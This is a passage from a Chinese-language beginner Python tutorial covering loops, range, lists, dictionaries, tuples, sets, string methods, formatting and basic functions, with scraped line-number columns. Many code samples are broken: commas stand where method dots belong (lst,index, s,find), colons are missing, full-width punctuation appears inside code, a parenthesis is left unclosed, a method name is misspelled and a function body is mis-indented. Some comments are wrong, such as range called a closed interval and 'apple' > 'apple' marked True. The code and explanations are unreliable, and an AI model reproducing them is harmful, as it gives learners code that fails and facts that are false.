print(( str(num_a) + '大于等于' + str(num_b))  if num_a>=num_b else str(num_a)+'小于'+str(num_b))
# 5. pass 空语句
语句什么都不做，只是一个占位符，用在语法上需要语句的地方。
1
2
3
4
5
6
#pass语句
answer = input(‘您是会员吗？y/n’)
if answer == 'y':
  pass
else:
  pass
# 六、转圈圈
# 1. range () 函数的使用
range () 函数用于生成一个整数序列，其返回值是一个迭代器对象。
创建 range 对象的三种方式：
range (stop): 创建一个 [0,stop] 之间的整数序列，步长为 1
range (start,stop): 创建一个 [start,stop] 之间的整数序列，步长为 1
range (start,stop,step): 创建一个 [start,stop] 之间的整数序列，步长为 step
range 类型的优点：不管 range 对象表示的整数序列有多长，所有 range 对象占用的内存空间都是相同的，因为仅仅需要存储 start,stop 和 step，只有当用到 range 对象时，才会去计算序列中的相关元素。用 in 和 not in 来判断整数序列中是否存在指定的整数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#range的三种创建方式
''' 第一种创建方式，只有一个参数'''
r = range(10)     #[0 1 2 3 4 5 6 7 8 9]  默认从0开始，步长为1 
print(r)    
print(list(r))    #用于查看range对象中的整数序列  --list是列表函数
''' 第二种创建方式，括号里给了两个参数'''
r = range(1,10)   #指定了起始值和终止值，区间左闭右开[1,10)
print(list(r))
''' 第三种创建方式，括号里给出三个参数'''
r = range(1,10,2)
print(list(r))
''' 判断指定的整数在序列中是否存在in，not in'''
print(10 in r)
print(9 in r)
print(10 not in r)
print(9 not in r)

print(range(1,20,1))
print(range(1,101,1))   #未使用时，上下两个所占内存一样
# 2. 循环结构
循环时反复作同一件事情的情况，用于次数不固定的循环，初始条件不成立，一次都不执行。
# （1）while 循环
1
2
3
4
5
6
a = 1
#判断条件表达式
if a < 10:     #if改为while重新运行，结果是1 2 3 4 5 6 7 8 9
  print(a)
  a += 1
#if与while的区别是：if判断一次，条件True执行一行；while是判断N+1次，条件是True执行N次
四步循环法：
初始化变量
条件判断
条件执行体（循环体）
改变变量
初始化的变量和条件判断的变量与改变的变量为同一个
1
2
3
4
5
6
7
8
9
10
11
#计算0到4的累加和
sum = 0            #用于存储累加和
'''初始化变量为0'''
a = 0
'''条件判断'''
while a < 5:
  '''条件执行体（循环体）'''
  sum += a
  '''改变变量'''
  a += 1
print('和为',sum)
1
2
3
4
5
6
7
8
9
'''计算1到100之间的偶数和'''
sum = 0   #用于存储偶数和
a = 1             #初始化变量
while a <= 100    #条件判断
  #条件执行体（求和）
  if a%2 == 0:    # if not bool(a%2):   意味着0的布尔值为False 
    sum += a
  a += 1
print('1到100的偶数和',sum)
# （2）for-in 循环
语法结构为：for 自定义的变量 in 可迭代对象
循环体
in 表示从（字符串、序列等）中依次取值，又称为遍历
for-in 遍历的对象必须是可迭代对象
循环体内不需要访问自定义变量，可以将自定义变量替代为下划线
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for item in 'Python'  #第一次取出来的是P，赋值给item，输出
  print(item)
  
#range()产生一个整数序列，也是一个可迭代对象
for i in range(10)
  print(i)
  
#如果在循环体中不需要使用自定义变量，可将自定义变量写为_
for _ in range(5)
  print('人生苦短，我用Python')
  
'''使用for循环计算1到100之间的偶数和'''
sum = 0
for item in range(1,101):
  if item % 2 == 0:
    sum += item
print('1到100之间的偶数和为：',sum)
1
2
3
4
5
6
7
8
9
10
'''输出100到999之间的水仙花数
  举例 153 =3*3*3+5*5*5
  1*1*1'''
for item in range(100,1000):
  ge = item %10
  shi = item // 10 % 10
  bai = item // 100
  print(bai,shi,ge)
  if ge**3+shi**3+bai**3 == item:
    print(item)
# （3）break、continue 与 else 语句
break 语句用于结束循环结构，通常与分支结构 if 一起使用
1
2
3
4
5
6
7
8
'''从键盘录入密码，最多录入三次，如果正确就结束循环'''
for item in range(3):
  pwd = input('请输入四位数密码：')
  if pwd == '8888'；
    print('密码正确')
    break
  else:
    print('密码不正确')  
1
2
3
4
5
6
7
8
9
a = 0
while a < 3:
  pwd = input('请输入四位数密码：')   #条件执行体
  if pwd == '8888':
    print('密码正确')
    break
  else:
    print('密码不正确')
  a += 1                           #改变变量
continue 语句用于结束当前循环，进入下一次循环，通常与分支结构中的 if 一起使用
1
2
3
4
5
6
7
8
9
10
'''要求输出1到50之间所有5的倍数：和5的余数为0的数
  什么样的数不是5的倍数？与5的余数不是0的数'''
for item in range(1,51):
  if item % 5 == 0:
    print(item)
print('----------使用continue----------')
for item in range(1,51):
  if item % 5 != 0:
    continue
  print(item)
else 语句与其他语句配合使用。
与 if 配合使用，if 条件表达式不成立时执行 else；与 for 和 while 配合使用时，没有碰到 break 时执行 else。
1
2
3
4
5
6
7
8
9
for item in range(3):
  pwd = input('请输入密码：')
  if pwd == '8888':
    print('密码正确')
    break
  else:
    print('密码不正确')
else:
  print('对不起，三次密码均输入错误。')
1
2
3
4
5
6
7
8
9
10
11
a = 0 
while a < 3；
  if pwd == '8888':
    print('密码正确')
    break
  else:
    print('密码不正确')
  '''改变变量'''
  a += 1
else:
  print('对不起，三次密码均输入错误')
# 3. 嵌套循环
嵌套循环时循环结构中又嵌套了另外的完整的循环结构，其中内层循环作为外层循环的循环体执行。
1
2
3
4
5
'''输出一个三行四列的矩形'''
for i in range(1,4):       #行表，执行三次，一次是一行
  for j in range(1,5)；  
    print('*',end = '\t')  #不执行输出
  print()                  #打行
1
2
3
4
5
'''九九乘法表'''
for i in range(10):
  for j in range(1,i+1):
    print(i,'*',j,'=',i*j,end = '\t')
  print()
二重循环中的 break 和 continue 用于控制本层循环。
1
2
3
4
5
6
7
8
9
'''流程控制语句break与continue在二重循环中的使用'''
for i in range(5):     #外层循环执行5次
  for j in range(1，11):
    if j%2 == 0:
      break
      #continue
    print(j)
    #print(j,end = '\t')
  #print()
# 七、一字排开
为什么需要列表？
变量可以存储一个元素，而列表是一个 “大容器” 可以存储 N 多个元素，程序可以方便地对这些数据进行整体操作
列表相当于其它语言中地数组
列表示意图
1
2
3
4
5
a = 10           #变量存储地是一个对象的引用
lst = ['hello','world',98]
print(id(lst))
print(type(lst))
print(lst)
# 1. 列表的创建与删除
创建方式：1. 使用中括号；2. 调用内置函数 list ()
1
2
3
lst = ['hello','world',98]         #使用中括号创建列表
print(lst)
lst2 = list(['hello','world',97])  #使用内置函数list()创建列表
列表的特点：
列表元素按顺序有序排序
索引映射唯一数据
列表可以存储重复数据
任意数据类型混存
根据需要动态分配和回收内存
# 2. 列表的查询操作
获取列表中指定元素的索引
1
2
3
4
5
lst = ['hello','world',98,'hello']
print(lst,index('hello'))    #列表存在多个相同元素，只返回列表第一个索引
#print(lst,index('Python'))   #查询元素不存在ValueError:'Python' is not in list
#print(lst,index('hello',1,3)) ValueError
print(lst,index('hello',1,4))  #指定在start到stop之间进行查找
获取列表中的单个元素
1
2
3
4
lst = ['hello','world',98,'hello','world',234]
print(lst[2])   #获取索引为2的元素
print(lst[-3])  #获取索引为-3的元素
#print(lst[10]) #IndexError:list index out of range超出索引范围，真想从0到N-1，逆向从-N到-1
获取列表中的多个元素：列表名 [start:stop:step]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lst = [10,20,30,40,50,60,70,80]
print(lst[1:6:1])    #start=1 stop=6 step=1切片切出一个新列表
print('原列表'，id(lst))
lst2 = lst[1:6:1]
print('切的片段:',id(lst2))
print(lst[1:6])
print(lst[1:6:])    #step不写默认从1开始
print(lst[1:6:2])
print(lst[:6:2])    #start不写默认从0开始
print(lst[1::2])    #stop不写默认最后一个元素
print('--------------step为负数的情况-------------')
print('原列表：',lst)
print(lst[::-1])
print(lst[7::-1])
print(lst[6:0:-2])
判断指定元素在列表中是否存在
1
2
3
4
5
6
7
print('p' in 'python') 
print('k' not in 'python')
lst = [10,20,'python','hello']
print(10 in lst)
print(100 in lst)
print(10 not in lst)
print(100 not in lst)
列表元素的遍历
可迭代对象：字符串和列表
1
2
3
lst = [10,20,'python','hello']
for item in lst:
  print(item)
# 3. 列表元素的增、删、改操作
# （1）列表元素的增加操作
append ()：在列表的末尾添加一个元素
extend ()：在列表的末尾至少添加一个元素
insert ()：在列表的任意位置添加一个元素
切片：在列表的任意位置添加至少一个元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#向列表的末尾添加一个元素
lst = [10,20,30]
print('添加元素之前'，lst)
lst.append(100)
print('添加元素之后',lst,id(lst))
lst2 = ['hello','world']
lst.append(lst2)        #将lst2作为一个元素添加到列表的末尾
print(lst)
lst.extend(lst2)        #向列表的末尾一次性添加多个元素  
print(lst)
lst.insert(1,90)        #在任意位置添加一个元素
print(lst)
lst3 = [True,False,'hello']
lst[1:] = lst3          #切片替换
print(lst)
# （2）列表的删除操作
remove ()：一次删除一个元素；重复元素只删除第一个；元素不存在抛出 ValueError
pop ()：删除一个指定索引位置上的元素；指定索引不存在抛出 IndexError；不指定索引，删除列表最后一个元素
切片：一次至少删除一个元素
clear ()：清空列表
del ()：删除列表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lst = [10,20,30,40,50,60,30]
lst.remove(30)          #重复元素只删除第一个
print(lst)
#lst.remove(100)         #移除元素不存在ValueError
#pop根据索引移除元素
lst.pop(1)
print(lst)
#lst.pop(8)              #IndexError
lst.pop()                #默认删除最后一个元素
print(lst)
print('-------切片操作删除至少一个元素，将产生一个新的列表对象-----------')
new_lst = lst[1:3]
print('原列表',lst)
print('新列表',new_lst)
'''不产生新的列表对象，而是删除原列表的内容'''
lst[1:3] = []
print(lst)
'''清除列表中的所有元素'''
lst.clear()
print(lst)
'''del语句将列表对象删除'''
del lst
# （3）列表元素的修改操作
为指定索引的元素赋予一个新值
为指定的切片赋予一个新值
1
2
3
4
5
6
lst = [10,20,30,40]
#一次修改一个值
lst[2] = 100      
print(lst)
lst[1:3] = [300,400,500,600]
print(lst)
# 4. 列表元素的排序
调用 sort () 方法，列表中的所有元素默认按照从小到大的顺序进行排序，可以指定 reverse=True 进行降序排序
调用内置函数 sorted ()，可以指定 reverse=True 进行降序排序，原列表不发生改变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
lst = [20,40,10,98,54]
print('排序前的列表',lst,id(lst))
#调用列表对象的sort方法，默认升序
lst.sort()
print('排序后的列表',lst,id(lst))
#指定参数进行降序
lst.sort(reverse = True)
print(lst)
lst.sort(reverse = False)
print(lst)
print('-------调用内置函数sorted()对列表对象进行排序，产生一个新的列表对象----')
lst = [20,40,10,98,54]
print('原列表',lst)
new_lst = sorted(lst)
print(lst)
print(new_lst)
desc_lst = sorted(lst,reverse =True
print(desc_lst)
# 5. 列表推导式
列表生成式简称生成列表的公式。
语法格式：
[i*i for i in range(1,10)]
1
2
3
4
5
6
7
lst = [i for i in range(1,10)]
lst1 = [i*i for i in range(1,10)]
print(lst)
print(lst1)
'''列表中的元素的值为2 4 6 8 10 '''
lst2 = [i*2 for i in range(1,6)]
print(lst2)
# 八、夫妻站
什么是字典？Python 内置的数据结构之一，与列表一样是一个可变序列；以键值对的方式存储数据，字典是一个无序的序列。
scores =
字典的实现原理：字典的实现原理与查字典类似，查字典是先根据部首或拼音查找对应的页码，Python 中的字典是根据 key 查找 Value 所在的位置。
# 1. 创建字典
使用花括号：scores=
使用 dict 内置函数：dict (name=‘jack’,age =20)
1
2
3
4
5
6
7
8
9
10
'''使用{}创建字典'''
scores = {'张三':100,'李四':98,'王五':45}
print(scores)
print(type(scores))
'''使用内置函数dict'''
student = dict(name='jack',age=20)
print(student)
'''空字典'''
d = {}
print(d)
# 2. 字典中元素的获取
[] 取值与使用 get () 取值的区别：
[] 如果字典中不存在指定的 key，抛出 keyError 异常
get () 方法取值，如果字典中不存在指定的 key，并不会抛出 KeyError 而是返回 None，可以通过参数设置默认的 Value，以便指定的 key 不存在时返回
1
2
3
4
5
6
7
8
9
'''获取字典中的值'''
scores = {'张三':100,'李四':98,'王五':45}
''' 第一种方式，使用[]'''
print(scores['张三'])
print(scores['陈六'])         #KeyError
'''第二种方式 使用get'''
print(scores,get('张三'))
print(scores,get('陈六'))     #None
print(scores,get('麻七',99))  #99是在查找麻七对应的value不存在时，提供的一个返回值
# 3. 字典的常用操作
key 的判断：in 和 not in
字典元素的删除 del
字典元素的新增
1
2
3
4
5
6
7
8
9
10
11
12
'''key的判断'''
scores = {'张三':100,'李四':98,'王五':45}
print('张三' in scores)
print('张三' not in scores)

del scores['张三']    # 删除指定的key-value对
#scores.clear()      #清空字典元素
print(scores)
scores['陈六'] = 98   #新增元素
print(scores)
scores['陈六'] = 100  #修改元素
print(scores)
获取字典视图的三个方法：keys、values、items
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
scores = {'张三':100,'李四':98,'王五':45}
#获取所有的key
keys = scores.keys()
print(keys)
print(type(keys))
print(list(keys))  #将所有的key组成的视图转成列表
#获取所有的Value
values = scores.values()
print(values)
print(type(values))
print(list(values))
#获取所有的key-value对
items = scores.items()
print(items)
print(list(items))   #转换之后的列表元素为元组
1
2
3
4
#字典元素的遍历
scores = {'张三':100,'李四':98,'王五':45}
for item in scores:
  print(item,scores[item],scores.get(item))
# 4. 字典的特点
字典中的所有元素都是一个 key-value 对，key 不允许重复，value 可以重复
字典中的元素是无序的
字典中的 key 必须是不可变对象
字典也可以根据需要动态地伸缩
字典会浪费较大地内存，是一个使用空间换时间地数据结构
1
2
3
4
5
d = {'name':'张三','name':'李四'}
print(d)

d = {'name':'张三','nikename':'张三'}
print(d)
# 5. 字典生成式
内置函数 zip (): 用于将可迭代对象作为参数，将对象中对应地元素打包成一个元组，然后返回由这些元组组成的列表
1
2
3
4
items = ['Fruits','Books','Others']
prices = [96,78,85,100,120]
d = {item.upper():prices  for item,prices in zip(items,prices)}
print(d)
# 九、是排还是散
# 1. 元组
元组是 Python 内置的数据结构之一，属于不可变序列。t=(‘Python’,‘hello’,90)
不可变序列与可变序列:
不可变序列（没有增删改操作）：字符串、元组
可变序列（可进行增删改操作，对象地址不发生更改）：列表、字典
1
2
3
4
5
6
7
8
9
10
11
'''可变序列   列表、字典'''
lst = [10,20,45]
print(id(lst))
lst.append(300)
print(id(lst))
'''不可变序列   字符串、元组'''
s = 'hello'
print(id(s))
s = s+'world'
print(id(s))
print(s)
# （1）元组的创建方式
使用小括号  t=(‘Python’,‘hello’,90)
使用内置函数 tuple ()  t=tuple ((‘Python’,‘hello’,90))
只包含一个元组的元素需要使用逗号和小括号  t=(10,)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'''元组的创建方式'''
#第一种使用小括号
t = ('Python','hello',98)
print(type(t))

t0 = 'Python','hello',98
print(t0)
print(type(t0))

t3 = ('Python',)     #如果元组中只有一个元素，逗号不能省略
print(t3)
print(type(t3))


#第二种使用内置函数tuple
t1 = tuple(('Python','hello',98))
print(t1)
print(type(t1))

'''空元组的创建方式'''
lst =[]
lst1= list()

d={}
d2=dict()

t4=()
t5=tuple()

print('空列表',lst,lst1)
print('空字典',d,d2)
print('空元组',t4,t5)
# （2）为什么将元组设计成不可变序列
在多任务环境下，同时操作对象时不需要加锁
因此，在程序中尽量使用不可变序列
注意：元组中存储的是对象的引用
1
2
3
4
5
6
7
8
9
10
11
12
t = (10,[20,30],9)
print(t)
print(type(t))
print(t[0],type(t[0]),id(t[0]))
print(t[1],type(t[1]),id(t[1]))
print(t[2],type(t[2]),id(t[2]))
'''尝试将t[1]修改为100'''
print(id(100))
#t[1]=100    #元组是不允许修改元素的
'''由于[20,30]是列表，而列表是可变序列，所以可以向列表中添加元素，而列表的内存地址不变'''
t[1].append(100)   #向列表中添加元素
print(t,id(t[1])
# （3）元组的遍历
1
2
3
4
5
6
7
8
9
10
'''元组的遍历'''
t = ('Python'，'world',98)
'''第一种获取元组元素的方式，使用索引'''
print(t[0])
print(t[1])
print(t[2])
#print(t[3])   #IndexError
'''遍历元组'''
for item in t:
  print(item)
# 2. 集合
集合是 Python 语言提供的内置数据结构；与列表、字典一样都属于可变类型的序列；是没有 Value 的字典，只有 key。
# （1）集合的创建方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'''第一种创建方式使用{}'''
s = {2,3,4,5,5,6,7,7}#集合中的元素不允许重复
print(s)
'''第二种创建方式使用set{}'''
s1 = set(range(6))
print(s1,type(s1))

s2 = set([1,2,4,5,5,5,6,6])
print(s2,type(s2))

s3 = set((1,2,4,4,5,65))   #集合中的元素是无序的
print(s3,type(s3))

s4 = set('Python')
print(s4,type(s4))

s5 = set({12,4,34,55,66,44,4})
print(s5,type(s5))

#定义一个空集合
s6 = {}
print(type(s6))

s7 = set()
print(type(s7))
# （2）集合的相关操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
s = {10,20,30,405,60}

#集合元素的判断操作
print(10 in s)
print(100 in s)
print(10 not in s)
print(100 not in s)

#集合元素的新增操作
s.add(80)        #一次添加一个元素
print(s)
s.update({200,400,300})   #一次至少添加一个元素
print(s)
s.update([100,99,8])
print(s)
s.update((78,64,56))
print(s)

#集合元素的删除操作
s.remove(100) #一次删除一个指定元素，元素不存在抛出KeyError
print(s)
#s.remove(500)   #KeyError
s.discard(500)   #删除一个指定元素，元素不存在不报异常
s.discard(300)
print(s)
s.pop()          #一次只能删除一个任意元素
s.pop()
#s.pop(400)      #TypeError 不能够添加参数
print(s)
s.clear()        #清空集合
print(s)
# （3）集合间的关系
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
'''集合是否相等？元素相同即相等，与顺序无关'''
s = {10,20,30,40}
s2 = {30,40,20,10}
print(s == s2)    #True
print(s != s2)    #False

'''一个集合是否是另一个集合的子集'''
s1 = {10,20,30,40,50,60}
s2 = {10,20,30,40}
s3 = {10,20,90}
print(s2.issubset(s1))
print(s3.issubset(s1))

'''一个集合是否是另一个集合的超集'''
print(s1.issuperset(s2))
print(s1.issuperset(s3))

'''两个集合是否含有交集'''
print(s2.isdisjoint(s3))   #False   有交集为False
s4 = {100,200,300}
print(s2.isdisjoint(s4))   #True   无交集为True
（4）集合的数学操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
'''集合的数学操作'''
#交集
s1 = {10,20,30,40}
s2 = {20,30,40,50,60}
print(s1.intersection(s2))
print(s1 & s2)
print(s1)
print(s2)

#并集
print(s1.union(s2))
print(s1 | s2)
print(s1)
print(s2)

#差集
print(s1.difference(s2))
print(s1 - s2)
print(s1)
print(s2)

#对称差集
print(s1.symmetric_difference(s2))
print(s1 ^ s2)
# （4）集合生成式
1
2
3
4
5
6
7
'''列表生成式'''
lst = [i*i for i in range(10)]
print(lst)

'''集合生成式'''
s = {i*i for i in range(10)}
print(s)
# 3. 列表、字典、元组、集合总结
数据结构 是否可变 是否重复 是否有序 定义符号
列表 (list) 可变 可重复 有序 []
元组 (tuple) 不可变 可重复 有序 ()
字典 (dict) 可变 key 不可重复，value 可重复 无序 
集合 (set) 可变 不可重复 无序 {}
# 十、一串连一串
# 1. 字符串的驻留机制
** 字符串：** 在 Python 中是基本数据类型，是一个不可变的字符序列。
** 字符串的驻留机制：** 仅保存一份相同且不可变字符串的方法，不同的值被存放在字符串的驻留池中，Python 的驻留机制对相同的字符串只保留一份拷贝，后续创建相同的字符串时，不会开辟新空间，而是把该字符串的地址赋给新创建的变量。
1
2
3
4
5
6
7
'''字符串的驻留机制'''
a = 'Python'
b = "Python"
c = '''Python'''
print(a,id(a))
print(b,id(b))
print(c,id(c))
驻留机制的几种情况（交互模式）：
字符串的长度为 0 或 1 时
符合标识符的字符串
字符串只在编译时进行驻留，而非运行时
[-5,256] 之间的整数数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
s1 = ''
s2 = ''
s1 is s2

s1 = '%'
s2 = '%'
s1 is s2

s1 = 'abc%'
s2 = 'abc%'
s1 == s2

s1 is s2

id(s1)
id(s2)

s1 = 'abcx'
s2 = 'abcx'
s1 is s2

id(s1)
id(s2)

a = 'abc'
b = 'ab'+'c'
c = ''.join(['ab','c'])
a is b
a is c 
c
type(c)
a
type(a)

a = -5
b = -5
a is b

a = -6
b = -6
a is b

import sys
a = 'abc%'
b = 'abc%'
a is b

a = sys.intern(b)
a is b
sys 中的 intern 方法强制 2 个字符串指向同一个对象
PyCharm 对字符串进行了优化处理
字符串驻留机制的优缺点：
当需要值相同的字符串时，可以直接从字符串池里拿来使用，避免频繁的创建和销毁，提升效率和节约内存，因此拼接字符串和修改字符串是会比较影响性能呢的
在需要进行字符串拼接时建议使用 str 类型的 join 方法，而非 +，因为 join（）方法是先计算出所有字符中的长度，然后再拷贝，只 new 一次对象，效率要比 “+” 高。
# 2. 字符串的常用操作
# （1）字符串的查询操作
indexrindexfindrfind
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
s = 'hello,hello'
#index查找子串第一次出现的位置，如果查找子串不存在，抛出ValueError
print(s,index('lo'))#3
#查找子串第一次出现的位置，如果查找子串不存在，则返回-1
print(s,find('lo'))#3
#查找子串最后一次出现的位置，如果查找子串不存在，抛出ValueError
print(s,rindex('lo'))#9
#查找子串最后一次出现的位置，如果查找子串不存在，则返回-1
print(s,rfind('lo'))#9

#print(s,index('k'))   #ValueError
print(s,find('k'))    #-1
#print(s,rindex('k'))
print(s,rfind('k'))

-11 -10 -9 -8 -7 -6 -5 -4 -3 -2 -1
h e l l o , h e l l o
0 1 2 3 4 5 6 7 8 9 10
# （2）字符串的大小写转换操作
upperlowerswapcasecaplitalizetitle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
'''字符串中的转换'''
s = 'hello,python'
a = s.upper()#全部转换大写，产生一个新的字符串对象
print(a,id(a))
print(s,id(s))
b = s.lower()#全部转换小写，产生一个新的字符串对象
print(b,id(b)) 
print(s,id(s))
print(b == s)
print(b is s)#False

s2 = 'hello,Python'
print(s2,swapcase())#字符串所有大写转换为小写，所有小写转换为大写
print(s2,capitalize())  #把第一个字母转换为大写，其余字母转换为小写
print(s2,title())#把每个单词的第一个字母转换为大写，把每个单词的剩余字母转换为小写
# （3）字符串内容对齐操作
centerljustrjustzfill
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s = 'hello,Python'

#居中对齐，第一个参数指定宽度，第二个参数指定填充符，默认空格。若设置宽度小于实际宽度，返回原字符串
print(s,center(20,'*'))

#左对齐，第一个参数指定宽度，第二个参数指定填充符
print(s.ljust(20,'*'))
print(s.ljust(10))
print(s.ljust(20))

#右对齐
print(s.rjust(20,'*'))
print(s.rjust(20))
print(s.rjust(10))

#右对齐，左边用0填充，该方法只接收一个参数，用于指定字符串宽度
print(s.zfill(20))
print(s.zfill(10))
print('-8910'.zfill(8))  #减号后开始添0
# （4）字符串的劈分操作
splitrsplit
1
2
3
4
5
6
7
8
9
10
11
12
s = 'hello world Python'
'''split从字符串的左边开始劈分，默认的劈分字符是空格字符，返回的值都是一个列表'''
lst = s.split()
print(lst)
s1 = 'hello|world|Python'
print(s1.split(sep = '|'))#通过参数sep指定劈分符
print(s1.split(sep = '|',maxsplit = 1))#通过maxsplit指定劈分字符串时最大劈分次数，经过最大次劈分后，剩余子串会单独作为一部分

'''rsplit从字符串的右边开始劈分，默认的劈分符是空格字符串，返回的值都是一个列表'''
print(s.rsplit())
print(s.resplit(sep = '|'))
print(s.rsplit(sep = '|',maxsplit = 1))
# （5）判断字符串的操作
isidentifierisspaceisalphaisdecimalisnumericisalnum
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#判断指定的字符串是不是合法的标识符
s = 'hello,python'
print('1.',s.isidentifier())
print('2.','hello'.isidentifier())
print('3.','张三_'.isidentifier())
print('4.','张三_123'.isidentifier())

#判断指定的字符串是否全部由空白字符组成（回车、换行、水平制表符）
print('5.','\t'.isspace())

#判断指定的字符串是否全部由字母组成
print('6.','abc'.isalpha())
print('7.','张三'.isalpha())
print('8.','张三1'.isalpha())

#判断指定的字符串是否全部由十进制数字组成
print('9.','123'.isdecimal())
print('10.','123四'.isdecimal())
print('11.','ⅠⅡⅢ'.isdecimal())

#判断指定的字符串是否全部由数字组成
print('12.','123'.isnumeric())
print('13.','123四'.isnumeric())
print('14.','ⅠⅡⅢ'.isnumeric())

#判断指定的字符串是否全部由字母和数字组成
print('15.','abc1'.isalnum())
print('16.','张三123'.isalnum())
print('17.','abc!'.isalnum())
# （6）字符串操作的其他方法
repalcejoin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#replace第一个参数指定被替换子串，第二个参数指定替换子串，第三个参数指定最大替换次数
s = 'hello,Python'
print(s.replace('Python','Java'))
s1 = 'hello,Python,Python,Python'
print(s1.replace('Python','Java',2))

#join将列表或元组中的字符串合并为一个字符串
lst = ['hello','java','Python']
print('|'.join(lst))
print(''.join(lst))

t = ('hello','java','Python')
print(''.join(t))

print('*'.join('Python'))
# 3. 字符串的比较
< > =<< == =! =
** 比较规则：** 首先比较两个字符串中的第一个字符，如果相等则继续比较下一个字符，依次比较下去，直到两个字符串中的字符不相等时，其比较结果就是两个字符串的比较结果，两个字符串中的所有后续字符将不再被比较。
** 比较原理：** 两个字符进行比较时，比较的是其 ordinal value（原始值），调用内置函数 ord 就可以得到指定字符的 ordinal value。与内置函数对应的是内置函数 chr，调用内置函数 chr 时可以使指定的 ordinal value 得到其对应的字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
print('apple' > 'apple')#True
print('apple' > 'banana')   #97>98,Flase
print(ord('a'),ord('b'))
print(ord('杨'))

print(chr(97),chr(98))
print(chr(26472))

'''is与 == 的区别
==比较的是value
is 比较的是id'''
a = b = 'Python'
c = 'Python'
print(a == b)
print(b == c)
print(a is b)
print(a is c)
print(id(a))
print(id(b))
print(id(c))
# 4. 字符串的切片操作
字符串是不可变类型，不具备增删改等操作，切片操作将产生新的对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s = 'hello,Python'
s1 = s[:5]#没有指定起始位置，从0开始
s2 = s[6:]#没有指定结束位置，直到最后一个为止
s3 = '!'
newstr = s1 + s3 + s2
print(s1)
print(s2)
print(newstr)
print(id(s))
print(id(s1))
print(id(s2))
print(id(s3))
print(id(newstr))

print('---------切片[start:end:step]------')
print(s[1:5:1])#从1开始截到5，不包括5，步长为1
print(s[::2])#默认从0开始，直到最后一个元素，索引间隔为2
print(s[::-1])#默认从最后一个元素开始，直到第一个元素结束，因为步长为-1
print(s[-6::1])#截取Python字符串
# 5. 格式化字符串
** 为什么需要格式化字符串？** 按照一定格式输出字符串。
两种方式：% 作占位符；{} 作占位符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'''格式化字符串'''
#使用 % 占位符
name = '张三'
age = 20
print('我叫%s，今年%d岁' % (name,age))

#使用 {} 占位符
print('我叫{0}，今年{1}岁'.format(name,age))

#f-string（Python 3.x以上版本）
print(f'我叫{name}，今年{age}岁')

#宽度和精度
print('%d' % 99)
print('%10d' % 99)#10代表宽度
print('%.3f' % 3.1415926)#.3保留三位小数
print('%10.3f' % 3.1415926)#宽度为10，小数点后三位

print('{0}'.format(3.1415926))
print('{0:.3}'.format(3.1415926))#.3表示一共是3位数
print('{0:.3f}'.format(3.1415926))#.3f表示3位小数
print('{:10.3f}'.format(3.1415926))#同时设置宽度和精度，一共是10位数，3位小数
# 6. 字符串的编码转换
编码与解码的方式：
编码：将字符串转换成二进制数据（bytes）
解码：将 bytes 类型的数据转换成字符串类型
1
2
3
4
5
6
7
8
9
10
11
s = '天涯共此时'
#编码
print(s.encode(encoding = 'GBK'))#GBK编码格式中，一个中文占两个字节
print(s.encode(encoding = 'UTF-8'))#UTF-8中，一个中文占三个字节

#解码
byte = s.encode(encoding = 'GBK')#编码
print(byte.decode(encoding = 'GBK'))#解码   byte代表的就是一个二进制数据（字节类型的数据）

byte = s.encode(encoding = 'UTF-8')#编码
print(byte.decode(encoding = 'UTF-8'))
# 十一、水晶球不调不动
# 1. 函数的创建和调用
** 什么是函数？** 函数就是执行特定任务和完成特定功能的一段代码。
** 为什么需要函数？** 复用代码；隐藏实现细节；提高可维护性；提高可读性便于调试。
函数的创建def 函数名（[输入参数]）：函数体[return  xxx]
函数的调用函数名 ([实际参数])
1
2
3
4
5
6
7
8
9
def calc(a,b):#a,b称为形式参数，简称形参，形参位置在函数的定义处
c = a + b
    return c
'''位置实参传递'''
result = calc(10,20) #10，20实际参数，简称实参，位置在函数的调用处
print(result)
'''关键字实参传递'''
res = calc(b = 10,a = 20)
print(res)
# 2. 函数调用的参数传递
位置实参：根据形参对应的位置进行实参传递
关键字实参：根据形参名称进行实参传递
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def fun(arg1,arg2):
    print('arg1',arg1)
    print('arg2',arg2)
    arg1 = 100
    arg2.append(10)
    print('arg1',arg1)
    print('arg2',arg2)
    #return
n1 = 11
n2 = [22,33,44]
print('n1',n1)
print('n2',n2)
fun(n1,n2)

print('n1',n1)
print('n2',n2)
'''在函数的调用过程中，进行参数的传递，
如果是不可变对象，在函数体的修改不会影响实参的值，arg1修改为100，不会影响n1的值
如果是可变对象，在函数体内的修改会影响实参的值，arg2的修改.append(10)，会影响到n2的值'''
** 函数的返回值：** 函数返回多个值时，结果为元组。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
print(bool(0))#False 零的布尔值为False
